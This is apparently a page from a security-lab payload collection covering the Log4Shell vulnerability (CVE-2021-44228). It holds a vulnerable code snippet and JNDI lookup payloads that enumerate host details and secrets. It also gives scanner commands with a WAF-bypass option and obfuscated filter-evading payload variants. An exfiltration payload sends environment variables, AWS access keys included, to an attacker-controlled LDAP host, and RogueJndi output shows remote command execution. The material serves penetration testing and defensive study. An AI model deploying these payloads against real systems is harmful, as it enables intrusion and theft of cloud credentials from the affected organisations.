TechnoFreaks - Security Lab
7 Payloads

CVE Exploits Payloads & Testing Methodology

EternalBlue exploits a vulnerability in Microsoft's implementation of the Server Message Block (SMB) protocol. The vulnerability exists because the SMB version 1 (SMBv1) server in various versions of Microsoft Windows mi...

Overview (README)Log4Shell

CVE-2021-44228 Log4Shell#

Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled

Summary#

Vulnerable code#

You can reproduce locally with: docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app using christophetd/log4shell-vulnerable-app or leonjza/log4jpwn

java4 lines
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
    logger.info("Received a request for API version " + apiVersion);
    return "Hello, world!";
}

Payloads#

bash13 lines
# Identify Java version and hostname
${jndi:ldap://${java:version}.domain/a}
${jndi:ldap://${env:JAVA_VERSION}.domain/a}
${jndi:ldap://${sys:java.version}.domain/a}
${jndi:ldap://${sys:java.vendor}.domain/a}
${jndi:ldap://${hostName}.domain/a}
${jndi:dns://${hostName}.domain}

# More enumerations keywords and variables
java:os
docker:containerId
web:rootDir
bundle:config:db.password

Scanning#

powershell4 lines
    usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]
                        [--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]
    python3 log4j-scan.py -u http://10.10.10.10:8081 --run-all-test
    python3 log4j-scan.py -u http://10.10.10.10:8080 --waf-bypass

WAF Bypass#

powershell10 lines
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://10.10.10.10:1389/a}

# using lower and upper
${${lower:jndi}:${lower:rmi}://10.10.10.10:1389/poc}
${j${loWer:Nd}i${uPper::}://10.10.10.10:1389/poc}
${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}

# using env to create the letter
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//[ATTACKER.DOMAIN.TLD]/a}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//[ATTACKER.DOMAIN.TLD]/a}

Exploitation#

Environment variables exfiltration#

powershell4 lines
${jndi:ldap://${env:USER}.${env:USERNAME}.[ATTACKER.DOMAIN.TLD]:1389/

# AWS Access Key
${jndi:ldap://${env:USER}.${env:USERNAME}.[ATTACKER.DOMAIN.TLD]:1389/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}

Remote Command Execution#

ps19 lines
    java -jar target/RogueJndi-1.1.jar --command "whoami" --hostname "10.10.10.10"
    Mapping ldap://10.10.10.11:1389/ to artsploit.controllers.RemoteReference
    Mapping ldap://10.10.10.11:1389/o=reference to artsploit.controllers.RemoteReference
    Mapping ldap://10.10.10.11:1389/o=tomcat to artsploit.controllers.Tomcat
    Mapping ldap://10.10.10.11:1389/o=groovy to artsploit.controllers.Groovy
    Mapping ldap://10.10.10.11:1389/o=websphere1 to artsploit.controllers.WebSphere1
    Mapping ldap://10.10.10.11:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
    Mapping ldap://10.10.10.11:1389/o=websphere2 to artsploit.controllers.WebSphere2
    Mapping ldap://10.10.10.11:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2

References#